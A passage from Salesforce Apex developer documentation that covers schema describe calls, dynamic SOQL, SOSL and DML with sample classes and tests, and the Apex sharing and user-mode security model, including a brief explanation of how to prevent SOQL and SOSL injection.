// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
//      Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],

//      Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
//
getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts32.png;getWidth=32;],
//      Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
//
getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts16.png
// DEBUG|getObjectName: Account
// DEBUG|getUrl: https://MyDomainName.my.salesforce.com/001/o
// DEBUG|isCustom: false

```

Accessing All sObjects

Use the Schema `getGlobalDescribe` method to return a map that represents the relationship between all sObject names (keys) to sObject tokens (values). For example:

```
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();
```

The map has the following characteristics:

- It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions.
- The sObject names are case insensitive.
- The keys are prefixed with the namespace, if any.*
- The keys reflect whether the sObject is a custom object.

* Starting with Apex saved using Salesforce API version 28.0, the keys in the map that `getGlobalDescribe` returns are always prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the `getGlobalDescribe` call is in namespace NS1, and a custom object named `MyObject__c` is in the same namespace, the key returned is `NS1__MyObject__c`. For Apex saved using earlier API versions, the key contains the namespace only if the namespace of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace N1, and an sObject is also in N1, the key in the map is represented as `MyObject__c`. However, if the code block is in namespace N1, and the sObject is in namespace N2, the key is `N2__MyObject__c`.

Standard sObjects have no namespace prefix.

 **Note:** If the `getGlobalDescribe` method is called from an installed managed package, it returns sObject names and tokens for Chatter sObjects, such as `NewsFeed` and `UserProfileFeed`, even if Chatter is not enabled in the installing organization. This is not true if the `getGlobalDescribe` method is called from a class not within an installed managed package.

Accessing All Data Categories Associated with an sObject

Use the `describeDataCategoryGroups` and `describeDataCategoryGroupStructures` methods to return the categories associated with a specific object:

1. Return all the category groups associated with the objects of your choice (see `describeDataCategoryGroups(sObjectName)`).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see [DescribeDataCategoryGroupResult Class](#)).
3. Specify the category group and associated object, then retrieve the categories available to this object (see `describeDataCategoryGroupStructures`).

The `describeDataCategoryGroupStructures` method returns the categories available for the object in the category group you specified. For additional information about data categories, see “Work with Data Categories” in the Salesforce online help.

In the following example, the `describeDataCategoryGroupSample` method returns all the category groups associated with the Article and Question objects. The `describeDataCategoryGroupStructures` method returns all the categories available for articles and questions in the Regions category group. For additional information about articles and questions, see “Work with Articles and Translations” in the Salesforce online help.

To use the following example, you must:

- Enable Salesforce Knowledge.
- Enable the answers feature.
- Create a data category group called Regions.
- Assign Regions as the data category group to be used by Answers.

- Make sure the Regions data category group is assigned to Salesforce Knowledge.

For more information on creating data category groups, see “Create and Modify Category Groups” in the Salesforce online help. For more information on answers, see “Answers Overview” in the Salesforce online help.

```
public class DescribeDataCategoryGroupSample {
    public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample() {

        List<DescribeDataCategoryGroupResult> describeCategoryResult;
        try {
            //Creating the list of subjects to use for the describe
            //call
            List<String> objType = new List<String>();

            objType.add('KnowledgeArticleVersion');
            objType.add('Question');

            //Describe Call
            describeCategoryResult = Schema.describeDataCategoryGroups(objType);

            //Using the results and retrieving the information
            for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
                //Getting the name of the category
                singleResult.getName();

                //Getting the name of label
                singleResult.getLabel();

                //Getting description
                singleResult.getDescription();

                //Getting the subject
                singleResult.getSobject();
            }
        } catch(Exception e){
        }

        return describeCategoryResult;
    }
}
```

```
public class DescribeDataCategoryGroupStructures {
    public static List<DescribeDataCategoryGroupStructureResult>
    getDescribeDataCategoryGroupStructureResults() {
        List<DescribeDataCategoryGroupResult> describeCategoryResult;
        List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
        try {
            //Making the call to the describeDataCategoryGroups to
            //get the list of category groups associated
            List<String> objType = new List<String>();
            objType.add('KnowledgeArticleVersion');
            objType.add('Question');
```

```

describeCategoryResult = Schema.describeDataCategoryGroups(objType);

//Creating a list of pair objects to use as a parameter
//for the describe call
List<DataCategoryGroupObjectTypePair> pairs =
    new List<DataCategoryGroupObjectTypePair>();

//Looping through the first describe result to create
//the list of pairs for the second describe call
for(DescribeDataCategoryGroupResult singleResult :
describeCategoryResult){
    DataCategoryGroupObjectTypePair p =
        new DataCategoryGroupObjectTypePair();
    p.setSubject(singleResult.getSubject());
    p.setDataCategoryGroupName(singleResult.getName());
    pairs.add(p);
}

//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
    Schema.describeDataCategoryGroupStructures(pairs, false);

//Getting data from the result
for(DescribeDataCategoryGroupStructureResult singleResult :
describeCategoryStructureResult){
    //Get name of the associated Subject
    singleResult.getSubject();

    //Get the name of the data category group
    singleResult.getName();

    //Get the name of the data category group
    singleResult.getLabel();

    //Get the description of the data category group
    singleResult.getDescription();

    //Get the top level categories
    DataCategory [] toplevelCategories =
        singleResult.getTopCategories();

    //Recursively get all the categories
    List<DataCategory> allCategories =
        getAllCategories(toplevelCategories);

    for(DataCategory category : allCategories) {
        //Get the name of the category
        category.getName();

        //Get the label of the category
        category.getLabel();

        //Get the list of sub categories in the category
        DataCategory [] childCategories =

```

```

        category.getChildCategories();
    }
}
} catch (Exception e){
}
return describeCategoryStructureResult;
}

private static DataCategory[] getAllCategories(DataCategory [] categories){
    if(categories.isEmpty()){
        return new DataCategory[]{};
    } else {
        DataCategory [] categoriesClone = categories.clone();
        DataCategory category = categoriesClone[0];
        DataCategory[] allCategories = new DataCategory[]{category};
        categoriesClone.remove(0);
        categoriesClone.addAll(category.getChildCategories());
        allCategories.addAll(getAllCategories(categoriesClone));
        return allCategories;
    }
}
}
}

```

Testing Access to All Data Categories Associated with an sObject

The following example tests the `describeDataCategoryGroupSample` method shown earlier. It ensures that the returned category group and associated objects are correct.

```

@Test
private class DescribeDataCategoryGroupSampleTest {
    public static testMethod void describeDataCategoryGroupSampleTest(){
        List<DescribeDataCategoryGroupResult>describeResult =
            DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();

        //Assuming that you have KnowledgeArticleVersion and Questions
        //associated with only one category group 'Regions'.
        System.assert(describeResult.size() == 2,
            'The results should only contain two results: ' + describeResult.size());

        for(DescribeDataCategoryGroupResult result : describeResult) {
            //Storing the results
            String name = result.getName();
            String label = result.getLabel();
            String description = result.getDescription();
            String objectNames = result.getSubject();

            //asserting the values to make sure
            System.assert(name == 'Regions',
                'Incorrect name was returned: ' + name);
            System.assert(label == 'Regions of the World',
                'Incorrect label was returned: ' + label);
            System.assert(description == 'This is the category group for all the regions',
                'Incorrect description was returned: ' + description);
        }
    }
}

```



```

        System.assert(objectNames.contains('KnowledgeArticleVersion')
            || objectNames.contains('Question'),
            'Incorrect sObject was returned: ' + objectNames);
    }
}

```

This example tests the `describeDataCategoryGroupStructures` method. It ensures that the returned category group, categories and associated objects are correct.

```

@isTest
private class DescribeDataCategoryGroupStructuresTest {
    public static testMethod void getDescribeDataCategoryGroupStructureResultsTest() {
        List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
            DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();

        System.assert(describeResult.size() == 2,
            'The results should only contain 2 results: ' + describeResult.size());

        //Creating category info
        CategoryInfo world = new CategoryInfo('World', 'World');
        CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
        CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
            'North America');
        CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
            'South America');
        CategoryInfo europe = new CategoryInfo('Europe', 'Europe');

        List<CategoryInfo> info = new CategoryInfo[] {
            asia, northAmerica, southAmerica, europe
        };

        for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
            String name = result.getName();
            String label = result.getLabel();
            String description = result.getDescription();
            String objectNames = result.getSObject();

            //asserting the values to make sure
            System.assert(name == 'Regions',
                'Incorrect name was returned: ' + name);
            System.assert(label == 'Regions of the World',
                'Incorrect label was returned: ' + label);
            System.assert(description == 'This is the category group for all the regions',
                'Incorrect description was returned: ' + description);
            System.assert(objectNames.contains('KnowledgeArticleVersion')
                || objectNames.contains('Question'),
                'Incorrect sObject was returned: ' + objectNames);

            DataCategory [] topLevelCategories = result.getTopCategories();
            System.assert(topLevelCategories.size() == 1,
                'Incorrect number of top level categories returned: ' + topLevelCategories.size());

            System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&

```

```

        topLevelCategories[0].getName() == world.getName());

//checking if the correct children are returned
DataCategory [] children = topLevelCategories[0].getChildCategories();
System.assert(children.size() == 4,
    'Incorrect number of children returned: ' + children.size());
for(Integer i=0; i < children.size(); i++){
    System.assert(children[i].getLabel() == info[i].getLabel() &&
        children[i].getName() == info[i].getName());
}
}

private class CategoryInfo {
    private final String name;
    private final String label;

    private CategoryInfo(String n, String l){
        this.name = n;
        this.label = l;
    }

    public String getName(){
        return this.name;
    }

    public String getLabel(){
        return this.label;
    }
}
}

```

Dynamic SOQL

Dynamic SOQL refers to the creation of a SOQL string at run time with Apex code. Dynamic SOQL enables you to create more flexible applications. For example, you can create a search based on input from an end user or update records with varying field names.

To create a dynamic SOQL query at run time, use the `Database.query` or `Database.queryWithBinds` methods, in one of the following ways.

- Return a single sObject when the query returns a single record:

```
sObject s = Database.query(string);
```

- Return a list of sObjects when the query returns more than a single record:

```
List<sObject> subjList = Database.query(string);
```

- Return a list of sObjects using a map of bind variables:

```
List<sObject> subjList = Database.queryWithBinds(string, bindVariablesMap, accessLevel);
```

The `Database.query` and `Database.queryWithBinds` methods can be used wherever an inline SOQL query can be used, such as in regular assignment statements and `for` loops. The results are processed in much the same way as static SOQL queries are processed.

In API version 55.0 and later, you can use the `accessLevel` parameter to run the query operation in user or system mode. The `accessLevel` parameter specifies whether the method runs in system mode (`AccessLevel.SYSTEM_MODE`) or user mode (`AccessLevel.USER_MODE`). In system mode, the object and field-level permissions of the current user are ignored, and the record sharing rules are controlled by the [class sharing keywords](#). In user mode, the object permissions, field-level security, and sharing rules of the current user are enforced. User mode is the default.

Dynamic SOQL results can be specified as concrete sObjects, such as `Account` or `MyCustomObject__c`, or as the generic `sObject` data type. At run time, the system validates that the type of the query matches the declared type of the variable. If the query doesn't return the correct sObject type, a run-time error is thrown. Therefore, you don't have to cast from a generic sObject to a concrete sObject.

Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see [Execution Governors and Limits](#) on page 348.

For a full description of SOQL query syntax, see [Salesforce Object Query Language \(SOQL\)](#) in the *SOQL and SOSL Reference*.

Dynamic SOQL Considerations

You can use simple bind variables in dynamic SOQL query strings when using `Database.query`. Bind variables in the query must be within the scope of the database operation. The following is allowed:

```
String myTestString = 'TestName';
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name = :myTestString');
```

However, unlike inline SOQL, you can't use bind variable fields in the query string with `Database.query`. The following example isn't supported and results in a `Variable does not exist` error.

```
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c = 'TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = :myVariable.field1__c');
```

You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:

```
String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = :resolvedField1');
```

(API version 57.0 and later) Another option is to use the `Database.queryWithBinds` method. With this method, bind variables in the query are resolved from a `Map` parameter directly with a key, rather than from Apex code variables. This removes the need for the variables to be in scope when the query is executed. This example shows a SOQL query that uses a bind variable for an Account name; its value is passed in with the `acctBinds` `Map`.

```
Map<String, Object> acctBinds = new Map<String, Object>{'acctName' => 'Acme Corporation'};

List<Account> accts =
    Database.queryWithBinds('SELECT Id FROM Account WHERE Name = :acctName',
                           acctBinds,
                           AccessLevel.USER_MODE);
```

These considerations apply when using the `Map` parameter in the `Database.queryWithBinds` method:

- Although map keys of type `String` are case-sensitive, the `queryWithBinds` method doesn't support `Map` keys that differ only in case. In a `queryWithBinds` method, comparison of `Map` keys is case-insensitive. If duplicate `Map` keys exist, the method

throws a runtime `QueryException`. This example throws this runtime exception: `System.QueryException: The bindMap consists of duplicate case-insensitive keys: [Acctname, acctName]`.

```
Map<String, Object> bindVars = new Map<String, Object>{'acctName' => 'Acme Corporation'};
bindVars.put('Acctname', 'Foo');
string query = 'Select Id from Contact where Name like :acctName';

List<Contact> contacts = Database.queryWithBinds(query, bindVars, AccessLevel.USER_MODE);
```

- Map keys must follow naming standards: they must start with an ASCII letter, can't start with a number, must not use [reserved keywords](#), and must adhere to [variable naming requirements](#).
- Although currently supported, Salesforce recommends against using the dot notation with Map keys.

SOQL Injection

SOQL injection is a technique by which a user causes your application to execute database methods you didn't intend by passing SOQL statements into your code. This can occur in Apex code whenever your application relies on end-user input to construct a dynamic SOQL statement and you don't handle the input properly.

To prevent SOQL injection, use the `escapeSingleQuotes` method. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Additional Dynamic SOQL Methods

The Dynamic SOQL examples in this topic show how to use the `Database.query` and `Database.queryWithBinds` methods. These methods also use Dynamic SOQL:

- `Database.countQuery` and `Database.countQueryWithBinds`: Return the number of records that a dynamic SOQL query would return when executed.
- `Database.getQueryLocator` and `Database.getQueryLocatorWithBinds`: Create a `QueryLocator` object used in batch Apex or Visualforce.

SEE ALSO:

[Apex Reference Guide: System.Database Methods](#)

Dynamic SOSL

Dynamic SOSL refers to the creation of a SOSL string at run time with Apex code. Dynamic SOSL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names.

To create a dynamic SOSL query at run time, use the `search.query` method. For example:

```
List<List<sObject>> myQuery = search.query(SOSL_search_string);
```

The following example exercises a simple SOSL query string.

```
String searchquery='FIND\''Edge*\''IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';

List<List<SObject>>searchList=search.query(searchquery);
```

Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the results from Account are first, then Contact, then Lead.

The search `query` method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and `for` loops. The results are processed in much the same way as static SOSL queries are processed.

Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see [Execution Governors and Limits](#) on page 348.

For a full description of SOSL query syntax, see [Salesforce Object Search Language \(SOSL\)](#) in the *SOQL and SOSL Reference*.

Use Dynamic SOSL to Return Snippets

To provide more context for records in search results, use the SOSL `WITH SNIPPET` clause. Snippets make it easier to identify the content you're looking for. For information about how snippets are generated, see [WITH SNIPPET](#) in the *SOQL and SOSL Reference*.

To use the SOSL `WITH SNIPPET` clause in a dynamic SOSL query at run time, use the `Search.find` method.

```
Search.SearchResults searchResults = Search.find(SOSL_search_string);
```

This example exercises a simple SOSL query string that includes a `WITH SNIPPET` clause. The example calls `System.debug()` to print the returned titles and snippets. Your code would display the titles and snippets in a Web page.

```
Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\')
WITH SNIPPET (target_length=120)');

List<Search.SearchResult> articleList = searchResults.get('KnowledgeArticleVersion');

for (Search.SearchResult searchResult : articleList) {
    KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject();
    System.debug(article.Title);
    System.debug(searchResult.getSnippet());
}
```

SOSL Injection

SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL statements into your code. A SOSL injection can occur in Apex code whenever your application relies on end-user input to construct a dynamic SOSL statement and you do not handle the input properly.

To prevent SOSL injection, use the `escapeSingleQuotes` method. This method adds the escape character (`\`) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Dynamic DML

In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert them into the database using DML.

To create a new sObject of a given type, use the `newSObject` method on an sObject token. Note that the token must be cast into a concrete sObject type (such as Account). For example:

```
// Get a new account
Account a = new Account();
```

```
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();
```

Though the `sObject` token `tokenA` is a token of `Account`, it is considered an `sObject` because it is accessed separately. It must be cast back into the concrete `sObject` type `Account` to use the `newSObject` method. For more information on casting, see [Classes and Casting](#) on page 118.

You can also specify an ID with `newSObject` to create an `sObject` that references an existing record that you can update later. For example:

```
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
    newSObject([SELECT Id FROM Account LIMIT 1][0].Id);
```

See [SObjectType Class](#).

Dynamic sObject Creation Example

This example shows how to obtain the `sObject` token through the `Schema.getGlobalDescribe` method and then creates a new `sObject` using the `newSObject` method on the token. This example also contains a test method that verifies the dynamic creation of an account.

```
public class DynamicSObjectCreation {
    public static sObject createObject(String typeName) {
        Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
        if (targetType == null) {
            // throw an exception
        }

        // Instantiate an sObject with the type passed in as an argument
        // at run time.
        return targetType.newSObject();
    }
}
```

```
@isTest
private class DynamicSObjectCreationTest {
    static testmethod void testObjectCreation() {
        String typeName = 'Account';
        String acctName = 'Acme';

        // Create a new sObject by passing the sObject type as an argument.
        Account a = (Account)DynamicSObjectCreation.createObject(typeName);
        System.assertEquals(typeName, String.valueOf(a.getSObjectType()));
        // Set the account name and insert the account.
        a.Name = acctName;
        insert a;

        // Verify the new sObject got inserted.
        Account[] b = [SELECT Name from Account WHERE Name = :acctName];
        system.assert(b.size() > 0);
    }
}
```

```
}
}
```

Setting and Retrieving Field Values

Use the `get` and `put` methods on an object to set or retrieve values for fields using either the API name of the field expressed as a String, or the field's token. In the following example, the API name of the field `AccountNumber` is used:

```
SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');
```

The following example uses the `AccountNumber` field's token instead:

```
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
SObject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getObjectField(), '12345');
```

The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the `anyType` field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any sObject.



Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Setting and Retrieving Foreign Keys

Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a foreign key, use the `get` or `put` methods.

To set or retrieve the *record* associated with a foreign key, use the `getSObject` and `putSObject` methods. Note that these methods must be used with the sObject data type, not Object. For example:

```
SObject c =
    Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');
```

There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always returns a parent object with a populated ID. If you have an ID, use it with the child object.

For example, suppose that custom object C1 has a foreign key `C2__c` that links to a parent custom object C2. You want to create a C1 object and have it associated with a C2 record named 'AW Computing' (assigned to the value `C2__r`). You do not need the ID of the 'AW Computing' record, as it is populated through the relationship of parent to child. For example:

```
insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));
```

If you had assigned a value to the ID for `C2__r`, it would be ignored. If you do have the ID, assign it to the object (`C2__c`), not the record.

You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a parent-to-child relationship using dynamic Apex:

```
String queryString = 'SELECT Id, Name, ' +
    '(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
```

```

for (SObject parentRecord : queryParentObject){
    Object ParentFieldValue = parentRecord.get('Name');
    // Prevent a null relationship from being accessed
    SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
    if (childRecordsFromParent != null) {
        for (SObject childRecord : childRecordsFromParent){
            Object ChildFieldValue1 = childRecord.get('FirstName');
            Object ChildFieldValue2 = childRecord.get('LastName');
            System.debug('Account Name: ' + ParentFieldValue +
                '. Contact Name: ' + ChildFieldValue1 + ' ' + ChildFieldValue2);
        }
    }
}

```

Apex Security and Sharing Model

The Apex security model includes record-level, field-level, and object-level security mechanisms. You can control record-level security modes by using the `with sharing`, `without sharing`, and `inherited sharing` keywords on classes. Apex runs in user mode by default, which means that user permissions on objects and field-level security are respected. A user cannot run code that tries to access fields or objects that are hidden from the user. Other security mechanisms include the `Security.stripInaccessible()` method, and `Field` and `SObject` describe methods.

Versioned Behavior Changes

In API version 67.0 and later, you can't use the `WITH SECURITY_ENFORCED` clause in SOQL `SELECT` queries in Apex code. Instead, use the `WITH USER_MODE` clause.

In API version 67.0 and later, Apex runs in user context by default, meaning that the current user's permissions and field-level security (FLS) are enforced during code execution. In API version 66.0 and earlier, system mode is the default.

In API version 67.0 and later, classes without an explicit sharing declaration run in `with sharing` mode. In API version 66.0 and earlier, the sharing mode of classes without an explicit sharing declaration is determined according to these factors.

- If the class is part of an inheritance chain, and any class in that chain is saved as API version 67.0 and later, the class runs in `with sharing` mode.
- If the class is an Aura controller or an `@AuraEnabled` method called from a Lightning web component, the class runs in `with sharing` mode.
- If the class isn't an Apex entry point, its sharing mode is defined by the sharing mode of the calling class.
- Otherwise, the class runs in `without sharing` mode.

Enforce Sharing Rules

In Apex, sharing rules are always enforced by default. Use the `with sharing`, `without sharing`, and `inherited sharing` keywords to control record-level security. If you don't want sharing rules to be enforced, then you must declare a class with the `without sharing` keyword.

Enforce Object and Field Permissions

Apex generally runs in user context by default, meaning that the current user's permissions and field-level security (FLS) are enforced during code execution. To ignore the FLS and object permissions of the current user, you must explicitly set a database operation or query to run in system mode. For fine-grained control, you can check the current user's permissions for an object or a field, and then perform a specific DML operation or a query only if the user has sufficient permissions.

[Class Security](#)

[Understanding Apex Managed Sharing](#)

Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access can be granted using the Salesforce user interface and Lightning Platform, or programmatically using Apex.

[Security Tips for Apex and Visualforce Development](#)

SEE ALSO:

[Enforce Security with Field and SObject Describe Methods](#)

[Apex Reference Guide: `striplnaccessible\(\)`](#)

Enforce Sharing Rules

In Apex, sharing rules are always enforced by default. Use the `with sharing`, `without sharing`, and `inherited sharing` keywords to control record-level security. If you don't want sharing rules to be enforced, then you must declare a class with the `without sharing` keyword.



Note: Apex code that is executed with the `executeAnonymous` call and Connect in Apex always execute using the sharing rules of the current user. See [Anonymous Blocks](#) on page 264.

Sharing rules are distinct from, and can co-exist with object-level and field-level permissions. While `with sharing` is the default sharing mode, Salesforce recommends that you use keyword declarations on all your classes to make your code easier to maintain. For more information, see [Use the with sharing, without sharing, and inherited sharing Keywords](#).



Note: Using the `with sharing` keyword doesn't enforce the user's permissions and field-level security.

This example has two classes, the first class (`CWith`) enforces sharing rules while the second class (`CWithout`) doesn't. The `CWithout` class calls a method from the first, which runs with sharing rules enforced. The `CWithout` class contains an inner class, in which code executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its `without sharing` setting.

```
public with sharing class CWith {
    // All code in this class operates with enforced sharing rules.

    Account a = [SELECT . . . ];

    public static void m() { . . . }

    static {
        . . .
    }

    {
        . . .
    }

    public void c() {
        . . .
    }
}

public without sharing class CWithout {
    // All code in this class ignores sharing rules and operates
    // as if the context user has the Modify All Data permission.
```

```

Account a = [SELECT . . . ];
. . .

public static void m() {
    . . .

    // This call into CWith operates with enforced sharing rules
    // for the context user. When the call finishes, the code execution
    // returns to without sharing mode.
    CWith.m();
}

public class CInner {
    // All code in this class executes with the same sharing context
    // as the code that calls it.
    // Inner classes are separate from outer classes.
    . . .

    // Again, this call into CWith operates with enforced sharing rules
    // for the context user, regardless of the class that initially called this inner
class.
    // When the call finishes, the code execution returns to the sharing mode that was
used to call this inner class.
    CWith.m();
}

public class CInnerWithout extends CWithout {
    // All code in this class ignores sharing rules because
    // this class extends a parent class that ignores sharing rules.
}
}

```



Warning: Because a class declared as `with sharing` can call a class declared as `without sharing`, you may still have to implement class-level security. In addition, all SOQL and SOSL queries that use `Pricebook2` ignore the `with sharing` keyword. All price books are returned, regardless of the applied sharing rules.

Enforcing the current user's sharing rules can impact:

- SOQL and SOSL queries. A query can return fewer rows than it would operating in system context.
- DML operations. An operation can fail because the current user doesn't have the correct permissions. For example, if the user specifies a foreign key value that exists in the organization, but which the current user doesn't have access to, then the DML operation fails.

Versioned Behavior Changes

In API version 67.0 and later, classes without an explicit sharing declaration are run in the current user context. In API version 66.0 and earlier, for classes without an explicit sharing declaration, the current sharing rule remains in effect.

SEE ALSO:

[Use the `with sharing`, `without sharing`, and `inherited sharing` Keywords](#)

[Salesforce Help: Sharing Rules](#)

Enforce Object and Field Permissions

Apex generally runs in user context by default, meaning that the current user's permissions and field-level security (FLS) are enforced during code execution. To ignore the FLS and object permissions of the current user, you must explicitly set a database operation or query to run in system mode. For fine-grained control, you can check the current user's permissions for an object or a field, and then perform a specific DML operation or a query only if the user has sufficient permissions.

Set an Access Mode for Database Operations

You can run database operations and SOQL queries in either user mode or system mode. See [Set an Access Mode for Database Operations](#) on page 216.

Check Field-Level Permissions

You can also enforce object-level and field-level permissions in your code by explicitly calling the access control methods of the [Schema.DescribeObjectResult](#) and the [Schema.DescribeFieldResult](#) classes. See [Enforce Security with Field and SObject Describe Methods](#) on page 221.

Considerations

- Object-level and field-level permissions are distinct from sharing rules, which enforce specific record access. They can coexist. If sharing rules are defined in Salesforce, you can enforce them at the class level by declaring the class with the `with sharing` keyword. See [Use the with sharing, without sharing, and inherited sharing Keywords](#). If you call the [Schema.DescribeObjectResult](#) and [Schema.DescribeFieldResult](#) access control methods, the verification of object and field-level permissions is performed in addition to the sharing rules that are in effect. Sometimes, the access level granted by a sharing rule can conflict with an object-level or field-level permission. In that case, object-level and field-level permissions take precedence over sharing rules.
- Orgs with Experience Cloud sites enabled provide various settings to hide a user's personal information from other users. See [Manage Personal User Information Visibility](#) and [Share Personal Contact Information Within Experience Cloud Sites](#). These settings aren't enforced in Apex, even with security features such as the `WITH USER_MODE` clause or the `stripInaccessible` method. To hide specific fields on the User object in Apex, follow the example code outlined in [Comply with a User's Personal Information Visibility Settings](#).
- Automated Process users can't perform Object and FLS checks in custom code unless appropriate permission sets are explicitly applied to those users.

Versioned Behavior Changes

In API version 67.0 and later, Apex runs in user context by default, meaning that the current user's permissions and field-level security (FLS) are enforced during code execution. In API version 66.0 and earlier, system mode is the default.

[Set an Access Mode for Database Operations](#)

Apex database operations run in user mode by default, which means that they apply the sharing rules, field-level security (FLS), and object permissions of the running user. Database operations only ignore FLS and object permissions if you explicitly set them to run in system mode.

[Enforce Security with the stripInaccessible Method](#)

Use the `stripInaccessible` method to enforce field-level and object-level data protection by stripping fields and relationship fields from query and subquery results that the user can't access. The method can also be used to remove inaccessible sObject fields before DML operations to avoid exceptions and to sanitize sObjects that have been deserialized from an untrusted source.

Enforce Security with Field and SObject Describe Methods

At the most granular level, you can enforce object-level and field-level permissions in your code by explicitly calling the `Schema.DescribeSObjectResult` and the `Schema.DescribeFieldResult` methods to check the current user's access permission levels.

SEE ALSO:

[Salesforce Help: Set Up Your Users' Object, User, and Field Permissions](#)

Set an Access Mode for Database Operations

Apex database operations run in user mode by default, which means that they apply the sharing rules, field-level security (FLS), and object permissions of the running user. Database operations only ignore FLS and object permissions if you explicitly set them to run in system mode.



Note: If you set a database operation to user mode, the operation always respects the user's sharing rules. However, if you set the operation to system mode, the sharing keyword on the calling class determines whether the operation respects the user's record-level permissions. See [Use the with sharing, without sharing, and inherited sharing Keywords](#).

Set an Access Mode for SOQL and SOSL Queries

To indicate an access mode for a SOQL or SOSL query, insert a `WITH USER_MODE` or `WITH SYSTEM_MODE` clause. This example specifies user mode in SOQL.

```
List<Account> acc = [SELECT Id FROM Account WITH USER_MODE];
```

In SOQL queries, user mode:

- Supports polymorphic fields, such as `Owner` and `Task.whatId`.
- Processes all clauses in the SOQL `SELECT` statement including the `WHERE` clause.
- Finds all FLS errors in your SOQL query.
- Supports the `getInaccessibleFields()` method on `QueryException` to examine the full set of access errors.

Set an Access Mode for DML Statements

To indicate an access mode for a DML statement, insert the `as user` or `as system` keywords between the DML operator and the object name. This example inserts a new account in user mode.

```
Account acc = new Account(Name='test');
insert as user acc;
```



Tip: If you run DML operations in user mode, you can use the `DMLException` method `getDmlFieldNames()` to obtain the fields with FLS errors.

Set an Access Mode for Database and Search Methods

The `AccessLevel` class represents the two modes in which Apex runs database operations. Use this class to define the mode as user mode or system mode.

An `accessLevel` parameter in Database and Search methods specifies whether the method runs in user mode (`AccessLevel.USER_MODE`) or system mode (`AccessLevel.SYSTEM_MODE`).

These DML and query operations support the `accessLevel` parameter.

- `Database.query` method. See [Dynamic SOQL](#).
- `Database.getQueryLocator` methods
- `Database.countQuery` method
